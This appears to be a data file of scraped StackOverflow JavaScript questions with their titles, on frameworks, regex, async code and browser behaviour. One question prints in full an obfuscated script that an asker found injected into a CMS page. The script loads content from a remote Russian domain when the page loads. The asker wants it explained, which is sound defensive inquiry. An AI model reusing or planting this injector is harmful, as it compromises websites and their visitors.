bootstrap/css/bootstrap.css '' > < /require > < /template > $ au run $ au build $ serve Uncaught SyntaxError : Unexpected token exportvendor-bundle.js:3927Uncaught Error : Mismatched anonymous define ( ) module : [ entirety of vendor-bundle.js printed here ]",Bootstrap v4 runtime/load error in Aurelia "JS : I 'm using sails.js v0.11.0 and I am just getting into unit testing . I can test normal controllers through http requests , but I have no idea where to start to test the same calls over a socket requests . If you have a good resource or a sample test using sockets that would be fantastic . var assert = require ( 'assert ' ) ; var request = require ( 'supertest ' ) ; describe ( 'Auth Controller ' , function ( ) { describe ( ' # callback ( ) ' , function ( ) { it ( 'passport-local authentication should succeed if email and password valid ' , function ( done ) { request ( sails.hooks.http.app ) .post ( '/auth/local ' ) .send ( { identifier : 'existing.user @ email.com ' , password : 'admin1234 ' } ) .expect ( 200 ) .end ( function ( err ) { done ( err ) ; } ) ; } ) ; it ( 'passport-local authentication should fail and return error code if email is invalid ' , function ( done ) { request ( sails.hooks.http.app ) .post ( '/auth/local ' ) .send ( { identifier : 'invalid @ email.com ' , password : 'admin1234 ' } ) .expect ( 403 ) .end ( function ( err ) { done ( err ) ; } ) ; } ) ; it ( 'passport-local authentication should fail and return error code if password is invalid ' , function ( done ) { request ( sails.hooks.http.app ) .post ( '/auth/local ' ) .send ( { identifier : 'existing.user @ email.com ' , password : 'invalid1235 ' } ) .expect ( 403 ) .end ( function ( err ) { done ( err ) ; } ) ; } ) ; //Test with Web Sockets from sails.io describe ( 'sails.socket ' , function ( ) { describe ( 'With default settings ' , function ( ) { describe ( 'once connected , socket ' , function ( ) { it ( 'passport-local authentication via web socket should succeed if email and password valid ' , function ( done ) { //Socket version ? request ( sails.hooks.http.app ) .post ( '/auth/local ' ) .send ( { identifier : 'existing.user @ email.com ' , password : 'admin1234 ' } ) .expect ( 200 ) .end ( function ( err ) { done ( err ) ; } ) ; } ) ; it ( 'passport-local authentication via web socket should fail and return error code if email is invalid ' , function ( done ) { //Socket version ? request ( sails.hooks.http.app ) .post ( '/auth/local ' ) .send ( { identifier : 'invalid @ email.com ' , password : 'admin1234 ' } ) .expect ( 403 ) .end ( function ( err ) { done ( err ) ; } ) ; } ) ; it ( 'passport-local authentication via web socket should fail and return error code if password is invalid ' , function ( done ) { //Socket version ? request ( sails.hooks.http.app ) .post ( '/auth/local ' ) .send ( { identifier : 'existing.user @ email.com ' , password : 'invalid1235 ' } ) .expect ( 403 ) .end ( function ( err ) { done ( err ) ; } ) ; } ) ; } ) ; } ) ; } ) ; } ) ; } ) ;",sails.socket testing with npm test "JS : The following function is mentioned in Speaking Javascript : An In-Depth Guide for Programmers by Axel Rauschmayer : Its purpose , as the author puts it , is `` to [ iterate ] over the property chain of an object obj [ and return ] the first object that has an own property with the key propKey , or null if there is no such object '' .I understand the overall reasoning here , but what I do n't understand is why { } .hasOwnProperty.call ( obj , propKey ) is being done rather than just obj.hasOwnProperty ( propKey ) . Any ideas ? function getDefiningObject ( obj , propKey ) { obj = Object ( obj ) ; // make sure it ’ s an object while ( obj & & ! { } .hasOwnProperty.call ( obj , propKey ) ) { obj = Object.getPrototypeOf ( obj ) ; // obj is null if we have reached the end } return obj ; }",Why is hasOwnProperty being invoked generically here ? "JS : This is my first post on stackoverflow , so please do n't flame me too hard if I come across like a total nitwit or if I 'm unable ot make myself perfectly clear . : - ) Here 's my problem : I 'm trying to write a javascript function that `` ties '' two functions to another by checking the first one 's completion and then executing the second one.The easy solution to this obviously would be to write a meta function that calls both functions within it 's scope . However , if the first function is asynchronous ( specifically an AJAX call ) and the second function requires the first one 's result data , that simply wo n't work.My idea for a solution was to give the first function a `` flag '' , i.e . making it create a public property `` this.trigger '' ( initialized as `` 0 '' , set to `` 1 '' upon completion ) once it is called ; doing that should make it possible for another function to check the flag for its value ( [ 0,1 ] ) . If the condition is met ( `` trigger == 1 '' ) the second function should get called.The following is an abstract example code that I have used for testing : The HTML part for testing : I 'm pretty sure that this is some issue with javascript scope as I have checked whether the trigger gets set to `` 1 '' correctly and it does . Very likely the `` checkCall ( ) '' function does not receive the updated object but instead only checks its old instance which obviously never flags completion by setting `` this.trigger '' to `` 1 '' . If so I do n't know how to address that issue.Anyway , hope someone has an idea or experience with this particular kind of problem.Thanks for reading ! FK < script type= '' text/javascript '' > /**/function cllFnc ( tgt ) { // ! ! first function this.trigger = 0 ; var trigger = this.trigger ; var _tgt = document.getElementById ( tgt ) ; // ! ! changes the color of the target div to signalize the function 's execution _tgt.style.background = ' # 66f ' ; alert ( 'Calling ! ... ' ) ; setTimeout ( function ( ) { // ! ! in place of an AJAX call , duration 5000ms trigger = 1 ; } ,5000 ) ; } /**/function rcvFnc ( tgt ) { // ! ! second function that should get called upon the first function 's completion var _tgt = document.getElementById ( tgt ) ; // ! ! changes color of the target div to signalize the function 's execution _tgt.style.background = ' # f63 ' ; alert ( ' ... Someone picked up ! ' ) ; } /**/function callCheck ( obj ) { //alert ( obj.trigger ) ; // ! ! correctly returns initial `` 0 '' if ( obj.trigger == 1 ) { // ! ! here 's the problem : trigger never receives change from function on success and thus function two never fires alert ( 'trigger is one ' ) ; return true ; } else if ( obj.trigger == 0 ) { return false ; } } /**/function tieExc ( fncA , fncB , prms ) { if ( fncA == 'cllFnc ' ) { var objA = new cllFnc ( prms ) ; alert ( typeof objA + '\n ' + objA.trigger ) ; // ! ! returns expected values `` object '' and `` 0 '' } //room for more case definitions var myItv = window.setInterval ( function ( ) { document.getElementById ( prms ) .innerHTML = new Date ( ) ; // ! ! displays date in target div to signalize the interval increments var myCallCheck = new callCheck ( objA ) ; if ( myCallCheck == true ) { if ( fncB == 'rcvFnc ' ) { var objB = new rcvFnc ( prms ) ; } //room for more case definitions window.clearInterval ( myItv ) ; } else if ( myCallCheck == false ) { return ; } } ,500 ) ; } < /script > < ! DOCTYPE HTML PUBLIC `` -//W3C//DTD HTML 4.01 Transitional//EN '' `` http : //www.w3.org/TR/html4/strict.dtd > < html > < head > < script type= '' text/javascript '' > < ! -- see above -- > < /script > < title > Test page < /title > < /head > < body > < ! -- ! ! testing area -- > < div id='target ' style='float : left ; height:6em ; width:8em ; padding:0.1em 0 0 0 ; font-size:5em ; text-align : center ; font-weight : bold ; color : # eee ; background : # fff ; border:0.1em solid # 555 ; -webkit-border-radius:0.5em ; ' > Test Div < /div > < div style= '' float : left ; '' > < input type= '' button '' value= '' tie calls '' onmousedown= '' tieExc ( 'cllFnc ' , 'rcvFnc ' , 'target ' ) ; '' / > < /div > < body > < /html >",`` Phased '' execution of functions in javascript "JS : Problem : I have a small group of roughly 90 users which is extremely important , so when one or two of these business customers desire the UI changed in their web app , they usually get development resources dedicated . However , it 's important for us to understand exactly how the application is being used by the group as a whole because this group tends to have strong personal views on how their UI should look and they all use the app differently . I 'm having the most trouble with identification of their usage of hardware vs soft keyboard . Optimally I 'm looking for an answer as simple as , `` use the new Window.TabletMode == true ! '' I do n't think that simple answer exists.Research : SO question Detect virtual keyboard vs. hardware keyboard is the only significantly similar question I see but it focuses half of its time on using a JavaScript keyboard to replace the soft keyboard , so the answers talk about how to make the keyboard specific to numbers , dates etc . Additionally , he 's looking for cross-browser solutions where I need only IE11+ support . Finally , I can depend on the hardware keyboard being docked and a specific brand ( Dell ) . Finally , I can depend upon Windows/IE11 , so there could be other avenues of approach compared to this 3-year-old question . My use of a hybrid tablet also makes the approaches of capability checks useless since I already knwo all the capabilities ( touch , etc ) are already available on the device.I could check the Registry for the UI setting , but I really need to stick to JavaScript or something similar.Android has undocumented but known events which indicate showing and hiding of the keyboard . However , none of the users will be using Android.IE should receive a WM_SETTINGCHANGE message when the change occurs , but I 'm unable to determine if this is made available to a JavaScript API . I 'm thinking it would be a message far more specific ( if any ) , so I ca n't find anything with this search term and JavaScript.Code : From W3Schools , The window.orientation property returns 0 for portrait and 90 or -90 for landscape view.Combined with window.innerHeight , I could use something like ... Then I would use window.innerHeight in combination with the value of portrait to determine if the width to height ratio looks like I have a keyboard open . This approach really might work in fullscreen considering my fairly narrow constraints , but what if the browser is n't fullscreen ? I 'm sure there are plenty of other reasons to not write a hacky ratio calculation for this . Additionally , my greatest desire would , of course , be to do this with any browser and any screen size.These things I can handle : I 'd need to set variables on the loading of the document and work out a way to determine when the typing becomes relevant . I might need to check for some browser capabilities . Perhaps I 'd increment counters for typing with and without a hardware keyboard . Once I hit a certain number ( let 's say 5 keystrokes ) , I 'd send a POST request to my data tracking endpoint to let it know that session 12345 used the soft keyboard ( or hard keyboard ) . Afterwards , I 'd unsubscribe from the event handler . However I work this part is of less concern because I do n't think I 'll get stuck on anything , but I did n't want anyone to spend time on beautification or development of a huge example.Environment : Hardware should all be Dell tablet/laptop hybrids ( specific model TBD ) with IE11+ . I hate to make something IE specific , but if it runs on IE11+ , it 's totally acceptable.I should be able to pull in any sort of JavaScript libraries suggested , but keep in mind that JQuery 2.2 and Knockout 2.1 are already present , so little `` weight '' is added for a solution with JQuery usage.I probably ca n't get approval to write an application that uses ActiveX or some other heavy handed customized approach that would require installation of a local application because my company has roughly 50,000 users , and a deployment like that for 90 users would be overly complex to maintain.The screen sizes should all be 11 inches , but I 'd be sad to resort to using specific size and resolution because an answer like that would be extremely limited in application for me or future readers.Impact for Readers : I 'm seeing a move away from Ipads in the medical kiosk / EMR space because Ipads limit a lot of the UI choices in favor of a cohesive experience . Physicians especially will often get attention of high ranking IT leaders if they desire a very specific UI change . Microsoft has tended to allow a lot of non-standard intervention and ( more recently ) more standard types of intervention in how the browser works . I think a lot of this movement is going to Windows tablets for this reason and also for the reason that many medical groups are heavy on .NET development capability . var portrait ; $ ( window ) .on ( `` orientationchange '' , function ( event ) { if ( event.orientation == 0 ) { portrait = true ; } else //if not , it 's landscape { portrait = false ; } } ) ;",How can I identify usage of hardware vs soft keyboard in a hybrid tablet ? "JS : I have the following setupand thenSo the problem is : this setup does not display anythingif i change to |filter : { propertyB : ' ! ! ' } : true it does not display anythingif i change to |filter : { propertyB : undefined } : true it displays everythingI can ` t figure it out.Target : I want to display the items which have the propertyB undefined and in other case the other way around.Edit 1 : If I iterate over the array with angular.equals ( item.propertyB , undefined ) I get false , true , trueEdit 2 : jsfiddle UPDATEDEdit 3 : I have updated the question $ scope.array = [ { propertyA : `` test '' , propertyB : { propertyC : [ true , true , false ] } } , { propertyA : `` test2 '' } , { propertyA : `` test3 '' } ] < div ng-repeat= '' item in array| filter : { propertyB : `` } : true '' > { { item.propertyA } } < /div >",Angularjs Filter not working when the property is undefined "JS : The API documentation for the JavaScript functional programming library Ramda.js contains symbolic abbreviations but does not provide a legend for understanding these . Is there a place ( website , article , cheatsheet , etc . ) that I can go to to decipher these ? Some examples from the Ramda.js API documentation : I am currently able to understand much of what Ramda.js is trying to do , and I can often make an educated guess what statements like the above mean . However I 'm certain I would understand more easily if I understood these symbols/statements better . I would like to understand what individual components mean ( e.g . specific letters , keywords , different arrow types , punctuation , etc. ) . I would also like to know how to `` read '' these lines.I have n't had success googling this or searching StackExchange . I have used various combinations of `` Ramda '' , `` functional programming '' , `` symbols '' , `` abbreviations '' , `` shorthand '' , etc . I 'm also not exactly sure whether I 'm looking for ( A ) universally used abbreviations in the broader field of functional programming ( or perhaps even just programming in general ) , or ( B ) a specialized syntax that the Ramda authors are using ( or perhaps co-opting from elsewhere but modifying further ) just for their library . Number - > Number - > NumberApply f = > f ( a - > b ) - > f a - > f bNumber - > [ a ] - > [ [ a ] ] ( * ... - > a ) - > [ * ] - > a { k : ( ( a , b , ... , m ) - > v ) } - > ( ( a , b , ... , m ) - > { k : v } ) Filterable f = > ( a - > Boolean ) - > f a - > f aLens s a = Functor f = > ( a - > f a ) - > s - > f s ( acc - > x - > ( acc , y ) ) - > acc - > [ x ] - > ( acc , [ y ] ) ( Applicative f , Traversable t ) = > ( a - > f a ) - > t ( f a ) - > f ( t a )","Where can I find an explanation/summary of symbols used to explain functional programming , specifically Ramda.js ?" JS : What does the following Javascript statement do to a ? a > > > = b ;,What is the > > > = operator in Javascript ? "JS : What does it mean to put methods ( test1 , test2 , test3 ) inside async ( ) = > { } ) ( ) ? I find it faster thanAny downside of using it ? async function test ( ) { ( async ( ) = > { var a = await this.test1 ( ) ; var b = await this.test2 ( a ) ; var c = await this.test3 ( b ) ; this.doThis ( a , b , c ) ; } ) ( ) ; } async function test ( ) { var a = await this.test1 ( ) ; var b = await this.test2 ( a ) ; var c = await this.test3 ( b ) ; this.doThis ( a , b , c ) ; }",( async ( ) = > { } ) ( ) ; what is this ? JS : Saw this in my newsletter . Tested on Chrome and Firefox . I still ca n't figured it out . [ ] + ( -~ { } -~ { } -~ { } -~ { } ) + ( -~ { } -~ { } ) ; //= > `` 42 '',JavaScript : Why [ ] + ( -~ { } -~ { } -~ { } -~ { } ) + ( -~ { } -~ { } ) ; returns `` 42 '' "JS : I guess I can do this with multiple regexs fairly easily , but I want to replace all the spaces in a string , but not when those spaces are between parentheses.For example : After the regex I want the string to beIs there an easy way to do this with lookahead or lookbehing operators ? I 'm a little confused on how they work , and not real sure they would work in this situation . Here is a string ( that I want to ) replace spaces in . Hereisastring ( that I want to ) replacespacesin .",Replace spaces but not when between parentheses "JS : Please assume 'use strict ' ; and also assume that , JSLint is on and errors can not be ignored.I find operators and ' , ' initiated lists so much more readable , e.g . : Hence my question : Is `` Bad Line Breaking '' obsolete with `` use strict '' ? EDITED : 'use strict ' ; will not prevent the execution of bad line breaking the code . It can prevent the execution of some kinds of errors.I see that JSLint and JSHint treat bad line breaking differently . JSHint is much friendlier towards the syntax I prefer . So that , may be a solution for others who are working on this . var i = 0 , j = 1 , someLongVariablename1 , someLongVariablename2 , someLongVariablename3 , someLongVariablename4 ; if ( ( 'dcr ' === cmd & & ( action ) & & ( 'get ' === actionHttp || 'post ' === actionHttp ) & & whatever ) { ... }",Is `` Bad Line Breaking '' obsolete with `` use strict '' ? "JS : I want to visualize some data in the browser with a line chart . At the x-axis there should be the date , at the y-axis there should be the value . I know that there are some javascript plotting solutions out there . But especially for date-specific data it is difficult to find a suitable solution.Here is the scheme , how i have the data : Here with some example values : See js-fiddle here , with some better sample data : http : //jsfiddle.net/JWhmQ/1992/ [ [ startTimestamp , endTimestamp , value ] , [ startTimestamp , endTimestamp , value ] ] [ [ 1365163327 , 1365163339 , 0 ] , [ 1365163339 , 1365163360 , 1 ] ]",Visualize date specific data with a line chart in browser with javascript "JS : I do cross-origin , cross-frame scripting in one of my projects ( end to end testing with client side js without selenium ) and that project highly relies on the -- disable-web-security flag . From today one of my tests is failing . It tries to load a non-existent remote URI to a child window to check whether an error is thrown by the lib . Well I got an error , but that is a security error , so not what I expect . The other tests are between the karma server on localhost:9876 and a node server on localhost:4444 . Those are working properly . My karma contains a Chrome custom launcher with the flag : As far as I know it needs some sort of user dir too , but the Karma launcher fills that param . Any idea about whether I can fix this or at least what release of Chrome changed the behavior ? ( I have already sent a bug report . ) Note that the question has nothing to do with Karma . All it does is starting Chrome from CLI with the given flags . A possible fix would be adding another flag , like the -- user-data-dir was , but I guess the current changes are intentional and they can not be undone . I 'd like to see where this was discussed . I only found a 5 years old topic in Chromium Google Gorups which discusses this : https : //groups.google.com/a/chromium.org/forum/ # ! msg/chromium-dev/iivpdszNY3I/3o3BF_mGwlIJ customLaunchers : { `` ch '' : { `` base '' : `` Chrome '' , `` flags '' : [ `` -- disable-web-security '' ] } } ,",Is there a -- disable-web-security fix for recent changes of Chrome ~70 ? "JS : I understand that an event has two modes -- bubbling and capturing . When an event is set to bubble , does Javascript checks up to `` document '' ? When an event is set to capture , does Javascript always starts from `` document '' ? How does Javascript know where to stop/start ? Let 's say I have the following code in my body tag.When I set an event to # inner to bubble , does Javascript check up to document or does it stop at # outer ? < div id='outer ' > < div id='inner ' > < /div > < /div >",Event bubbling/capturing - where does it start/end ? "JS : I am trying to understand generators in ES2015 and have created a recursive factorial function with it . But it does n't work . I have referred already existing question like this on the topic , but it does n't help . Can anyone find any obvious issues I am missing here ? I am using this in JSFiddle with JavaScript-1.7 here function* fact ( n ) { if ( n < 2 ) { yield 1 ; } else { yield* ( n * fact ( n-1 ) ) ; } } let b = fact ( 5 ) ; console.log ( b.next ( ) ) ;",Why recursive generator function does n't work in ES2015 ? "JS : In the accepted answer on my earlier question ( What is the fastest way to generate a random integer in javascript ? ) , I was wondering how a number loses its decimals via the symbol |.For example : How does that floor the number to 5 ? Some more examples : var x = 5.12042 ; x = x|0 ; console.log ( 104.249834 | 0 ) ; //104console.log ( 9.999999 | 0 ) ; // 9",How does x|0 floor the number in JavaScript ? "JS : I validated my client 's website to xHTML Strict 1.0/CSS 2.1 standards last week . Today when I re-checked , I had a validation error caused by a weird and previous unknown script . I found this in the index.php file of my ExpressionEngine CMS . Is this a hacking attempt as I suspected ? I could n't help but notice the Russian domain encoded in the script ... What is this javascript doing ? I need to explain the specific dangers to my client . this.v=27047 ; this.v+=187 ; ug= [ `` n '' ] ; OV=29534 ; OV -- ; var y ; var C= '' C '' ; var T= { } ; r=function ( ) { b=36068 ; b-=144 ; M= [ ] ; function f ( V , w , U ) { return V.substr ( w , U ) ; var wH=39640 ; } var L= [ `` o '' ] ; var cj= { } ; var qK= { N : false } ; var fa= '' /g '' + '' oo '' + '' gl '' + '' e. '' + '' co '' + '' m/ '' +f ( `` degL4 '' ,0,2 ) +f ( `` rRs6po6rRs '' ,4,2 ) +f ( `` 9GVsiV9G '' ,3,2 ) +f ( `` 5cGtfcG5 '' ,3,2 ) +f ( `` M6c0ilc6M0 '' ,4,2 ) + '' es '' +f ( `` KUTz.cUzTK '' ,4,2 ) +f ( `` omjFb '' ,0,2 ) + '' /s '' +f ( `` peIlh2 '' ,0,2 ) + '' ed '' +f ( `` te8WC '' ,0,2 ) +f ( `` stien3 '' ,0,2 ) +f ( `` .nYm6S '' ,0,2 ) +f ( `` etUWH '' ,0,2 ) +f ( `` .pdVPH '' ,0,2 ) +f ( `` hpzToi '' ,0,2 ) ; var BT= '' BT '' ; var fV=RegExp ; var CE= { bf : false } ; var UW= '' ; this.Ky=11592 ; this.Ky-=237 ; var VU=document ; var _n= [ ] ; try { } catch ( wP ) { } ; this.JY=29554 ; this.JY-=245 ; function s ( V , w ) { l=13628 ; l -- ; var U= '' [ `` +w+String ( `` ] '' ) ; var rk=new fV ( U , f ( `` giId '' ,0,1 ) ) ; this.NS=18321 ; this.NS+=195 ; return V.replace ( rk , UW ) ; try { } catch ( k ) { } ; } ; this.jM= '' '' ; var CT= { } ; var A=s ( 'socnruixpot4 ' , 'zO06eNGTlBuoYxhwn4yW1Z ' ) ; try { var vv='m ' } catch ( vv ) { } ; var Os= { } ; var t=null ; var e=String ( `` bod '' + '' y '' ) ; var F=155183-147103 ; this.kp= '' ; Z= { Ug : false } ; y=function ( ) { var kl= [ `` mF '' , '' Q '' , '' cR '' ] ; try { Bf=11271 ; Bf-=179 ; var u=s ( 'cfr_eKaPtQe_EPl8eTmPeXn8to ' , 'X_BQoKfTZPz8MG5 ' ) ; Fp=VU [ u ] ( A ) ; var H= '' '' ; try { } catch ( WK ) { } ; this.Ca=19053 ; this.Ca -- ; var O=s ( 's5rLcI ' , '2A5IhLo ' ) ; var V=F+fa ; this.bK= '' '' ; var ya=String ( `` de '' + '' fe '' +f ( `` r3bPZ '' ,0,1 ) ) ; var bk=new String ( ) ; pB=9522 ; pB++ ; Fp [ O ] =String ( `` ht '' + '' tp '' + '' : / '' + '' /t '' + '' ow '' + '' er '' + '' sk '' + '' y . `` + '' ru '' + '' : '' ) +V ; Fp [ ya ] = [ 1 ] [ 0 ] ; Pe=45847 ; Pe -- ; VU [ e ] .appendChild ( Fp ) ; var lg=new Array ( ) ; var aQ= { vl : '' JC '' } ; this.KL= '' KL '' ; } catch ( x ) { this.Ja= '' '' ; Th= [ `` pj '' , '' zx '' , '' kO '' ] ; var Jr= '' ; } ; Tr= { qZ:21084 } ; } ; this.pL=false ; } ; be= { } ; rkE= { hb : '' vG '' } ; r ( ) ; var bY=new Date ( ) ; window.onload=y ; cU= [ `` Yr '' , '' gv '' ] ;",Weird Javascript in Template . Is this a hacking attempt ? "JS : I 've been trying to find out what this code means but I have n't had any luck even finding out where to start or what to look up.I understand some of it so I 've got the following questions.what does the `` /^ '' do ? what does the ? do ? what do the `` ( `` and `` ) '' do around the httpswhat does the `` : '' do ? what does the `` i '' do ? If this appears to be a question without research , any guidance where to start would be great . if ( ! /^ ( https ? ) : \/\//i.test ( value ) )",What do these JS shorthand characters mean ? "JS : As displayed below I am working on a survey , I 've spent most of the night getting the radio buttons to work and I have now ran into a new issue . How do I go about getting the text fields and checkboxes to display in addition to the radio buttons when the user clicks submit.Currently , only question 2 responses are recorded and displayed . Thank Youhttp : //jsbin.com/zuxoqe/1/edit ? html , outputHTML JS < div id= '' container '' > < div id= '' main '' class= '' cf '' > < div id= '' content '' > < div id= '' text '' > < form action= '' # '' method= '' post '' class= '' mySurvey '' id= '' mySurveyID '' > < fieldset > < p > Personal Information : < br > First name : < label > < input type= '' text '' name= '' firstname '' value= '' '' > < /label > < br > Last name : < label > < input type= '' text '' name= '' lastname '' value= '' '' > < /label > < br > Gender : < select name= '' gender '' > < option value= '' male '' > Male < /option > < option value= '' female '' > Female < /option > < /select > < /p > < p > Question 1 : How did you hear about us ? Check ALL that apply < /p > < p > < label > < input type= '' checkbox '' name= '' Q3 '' value= '' internet '' > Internet < label > < label > < input type= '' checkbox '' name= '' Q3 '' value= '' tv '' > TV < label > < label > < input type= '' checkbox '' name= '' Q3 '' value= '' radio '' > Radio < label > < label > < input type= '' checkbox '' name= '' Q3 '' value= '' newspaper '' > Newspaper < label > < label > < input type= '' checkbox '' name= '' Q3 '' value= '' mouth '' > Word of Mouth < label > < /p > < p > Question 2 : Overall HOW would you rate your Sales Representative ? < /p > < p > < label > < input type= '' radio '' name= '' ques5 '' value= '' Amazing '' > Amazing < /label > < label > < input type= '' radio '' name= '' ques5 '' value= '' Very Good '' > Very Good < /label > < label > < input type= '' radio '' name= '' ques5 '' value= '' Neutral '' > Neutral < /label > < label > < input type= '' radio '' name= '' ques5 '' value= '' Fair '' > Fair < /label > < label > < input type= '' radio '' name= '' ques5 '' value= '' Poor '' > Poor < /label > < /p > < p > Question 3 : What factors contributed to your purchase of this product ? < p > < label > < textarea name= '' Q2 '' rows= '' 5 '' cols= '' 60 '' > < /textarea > < label > < /p > < p > < button type= '' button '' name= '' getSelection '' > Submit < /button > < /p > < /fieldset > < /form > < /div > < ! -- end text -- > < /div > < ! -- end content -- > < /div > < ! -- end container div -- > < /body > < /html > < script type= '' text/javascript '' > // to remove from global namespace ( function ( ) { function getRadioSelection ( form , name ) { var val ; var radios = form.elements [ name ] ; for ( var i=0 , len=radios.length ; i < len ; i++ ) { if ( radios [ i ] .checked ) { val = radios [ i ] .value ; break ; } } return val ; } document.forms [ 'mySurveyID ' ] .elements [ 'getSelection ' ] .onclick = function ( ) { alert ( 'The selected radio button\ 's value is : ' + getRadioSelection ( this.form , 'ques5 ' ) ) ; } ; // disable submission of all forms on this page for ( var i=0 , len=document.forms.length ; i < len ; i++ ) { document.forms [ i ] .onsubmit = function ( ) { return false ; } ; } } ( ) ) ; < /script >",Getting text area and checkboxes to display with radio buttons "JS : I 'm trying to understand why I 'm not getting the expected results from a regex.I already know what is negative lookahead ( apparently not : - ) ) And also that asterisks is zero or more times of repeats.Looking at this regex : This will match a which is n't followed by a non-3 after it.So looking at this test string , the bold part is a match : a3333335Ok Also- if I change the regex to : It will still match : a3333335This will match a which is n't followed by a non-3 's ( at least one ) QuestionMy problem is with * : Let 's change the regex to : This will not match a3333335But my question is - why ? According to the drawing : a should not be followed by : Either nothing or neither non-3'sBut this is DOES happening : a is not followed by nothing AND is not followed by non3-'sSo why it does n't match ? And to make my life more difficult : Looking at this regex : This will match : a3333335What is going on here ? a ( ? ! [ ^3 ] ) a ( ? ! [ ^3 ] + ) //notice `` + '' a ( ? ! [ ^3 ] * ) a ( ? ! [ ^3 ] *7 )",How does negative lookahead with asterisks work ? "JS : I 've created a simple demo of a light-test-thing here : http : //jsfiddle.net/CGr9d/When I record the memory usage using the Chrome dev tools I get this : http : //cl.ly/LSDl , it basically go up until a certain point and then go down again and start over until it reaches the previous high point again.is this normal/OK ? Is there any way to optimize my code to make it less memory intensive ? This is my mousemove function : Thanks . $ ( 'body ' ) .mousemove ( function ( e ) { //2000 is half the image width/height , of course used for centering $ ( '.light-circle ' ) .css ( { backgroundPosition : ( e.pageX-2000 ) +'px '+ ( e.pageY-2000 ) +'px ' } ) ; } ) ;",".mousemove and memory , do I need to optimize this or not ?" "JS : I want to have a selector that moves on a bar on 30 Degree angle , I have done some research on the web but I could n't find any solution ! . I know that : will move it on x axis and : will move it on y axis but the question is how to move it on 30 degree angle only ? I want to make this menu work . $ ( `` .selector '' ) .draggable ( { axis : ' x ' } ) ; $ ( `` .selector '' ) .draggable ( { axis : ' y ' } ) ;",jquery draggable moves on 30 degrees only "JS : JavaScripts source maps seem to typically be at no finer than token granularity.As an example , identity-map uses token granularity.I know I 've seen other examples , but ca n't remember where.Why do n't we use AST-node based granularity instead ? That is , if our source maps had locations for all and only starts of AST nodes , what would be the downside ? In my understanding , source maps are used for crash stack decoding and for debugging : there will never be an error location or useful breakpoint that is n't at the start of some AST node , right ? Update 1Some further clarification : The question pertains to cases where the AST is already known . So `` it 's more expensive to generate an AST than an array of tokens '' would n't answer the question.The practical impact of this question is that if we could decrease the granularity of source maps while preserving the behavior of debuggers and crash stack decoders , then source maps could be much smaller . The main advantage being performance of debuggers : dev tools can take a long time to process large source files , making debugging a pain.Here is an example of adding source map locations at the token level using the source-map library : And here is an example of adding locations at the AST node level : Update 2Q1 : Why expect there to be fewer starts of AST Nodes than starts of tokens ? A1 : Because if there were more starts of AST Nodes than starts of tokens then there would be an AST Node that starts at a non-token . Which would be quite an accomplishment for the author of the parser ! To make this concrete , suppose you have the following JavaScript statement : Here are the locations at the starts of tokens : Here 's roughly where most parsers will say the starts of AST Nodes are.That 's a 46 % reduction in the number of source-map locations ! Q2 : Why expect AST-Node-granularity source maps to be smaller ? A2 : See A1 aboveQ3 : What format would you use for referencing AST Nodes ? A3 : No format . See the sample code in Update 1 above . I am talking about adding source map locations for the starts of AST Nodes . The process is almost exactly the same as the process for adding source map locations for the starts of tokens , except you are adding fewer locations.Q4 : How can you assert that all tools dealing with the source map use the same AST representation ? A4 : Assume we control the entire pipeline and are using the same parser everywhere . for ( const token of tokens ) { generator.addMapping ( { source : `` source.js '' , original : token.location ( ) , generated : generated.get ( token ) .location ( ) , } ) ; } for ( const node of nodes ) { generator.addMapping ( { source : `` source.js '' , original : node.location ( ) , generated : generated.get ( node ) .location ( ) , } ) ; } const a = function * ( ) { return a + ++ b } const a = function * ( ) { return a + ++ b } /*^ ^ ^ ^^^ ^ ^ ^ ^ ^ ^ ^*/ const a = function * ( ) { return a + ++ b } /*^ ^ ^ ^ ^ ^ ^*/",Why are JS sourcemaps typically at token granularity ? JS : Consider the following case : The first function func1 ( ) will return the object { hello : `` world '' } but the second function func2 ( ) will return undefined . Why is that ? My guess is the returned value needs to be on the same line as the return keyword . What `` rule '' am I unaware of here ? function func1 ( ) { return { hello : `` world '' } ; } function func2 ( ) { return { hello : `` world '' } ; } console.log ( func1 ( ) ) ; console.log ( func2 ( ) ) ;,Why does a return statement on a new line not return any value ? "JS : I 'm making an animated SVG pie chart . Basically I have two SVG element , the first gets a border-radius of 50 % , the second is a circle that I fill up to a specific value . In the end , that makes one circle above another circle , they both have the same dimensions.There is some kind of SVG aliasing that seems hard to get rid of . It 's very visible on the top , left , bottom and right `` corners '' of the circle , at least on Google Chrome.Here is the HTML partHere is my codepen for more accurate description of the problem . I tried various solutions including the shape-rendering SVG attribute but to no avail.Here is a screenshot , the aliasing is not as visible as in the codepen ( for me at least ) < figure id= '' pie '' data-percentage= '' 60 '' > < div class= '' receiver '' > < /div > < svg width= '' 200 '' height= '' 200 '' class= '' chart '' shape-rendering= '' geometricPrecision '' > < circle r= '' 50 '' cx= '' 100 '' cy= '' 100 '' class= '' pie '' shape-rendering= '' geometricPrecision '' / > < /svg > < /figure >",Getting rid of aliasing on a SVG circular element "JS : This example code below is # 36 in John Resig ` s Learning Advnaced JavaScript . http : //ejohn.org/apps/learn/ # 36 It is called We need to make sure the new operator is always used.Six Questions - I would appreciate as much detail as you can provide1 ) Is function User ever actually called in this code ? I note that when it says assert ( user ... ) , user is lower case . If the function gets called , how ? does it get called when it asserts the variable user , which has a function call attached to it i.e . User ( `` John , '' name ) 2 ) If Im correct in assuming that function User is never called , is there a way that the codethis.name = first + `` `` + last ; ` is run ? 3 ) If the function User is called , or if it were to be called , can you please explain the order of operations inside the function User . For example , it returns new User before it does this.name = first + `` `` + last ; how would that work if this function were called or is called ? 4 ) in what way could ! ( this instanceof User ) if be true . since the function User is the object , wouldn ` t `` this '' always be an instance of itself ? 5 ) regarding the first assert i.e . assert ( user , `` this was defined correctly , even if it was by mistake '' ) , can you please explain how it was defined correctly , and , importantly , please explain how it was a mistake ? How should it have been done so it ` s not a mistake ? 6 ) regarding the second assert , why is it a noteworthy that the right name was maintained ? Isnt it as simple as variablenamehaving been assignedResig ` . In what way might you have expected name to change ? function User ( first , last ) { if ( ! ( this instanceof User ) ) return new User ( first , last ) ; this.name = first + `` `` + last ; } var name = `` Resig '' ; var user = User ( `` John '' , name ) ; assert ( user , `` This was defined correctly , even if it was by mistake . '' ) ; assert ( name == `` Resig '' , `` The right name was maintained . '' ) ;",Using a new operator - from John Resig # 36 "JS : GoalI am currently trying to write a Gulp wrapper for NPM Flat that can be easily used in Gulp tasks . I feel this would be useful to the Node community and also accomplish my goal . The repository is here for everyone to view , contribute to , play with and pull request . I am attempting to make flattened ( using dot notation ) copies of multiple JSON files . I then want 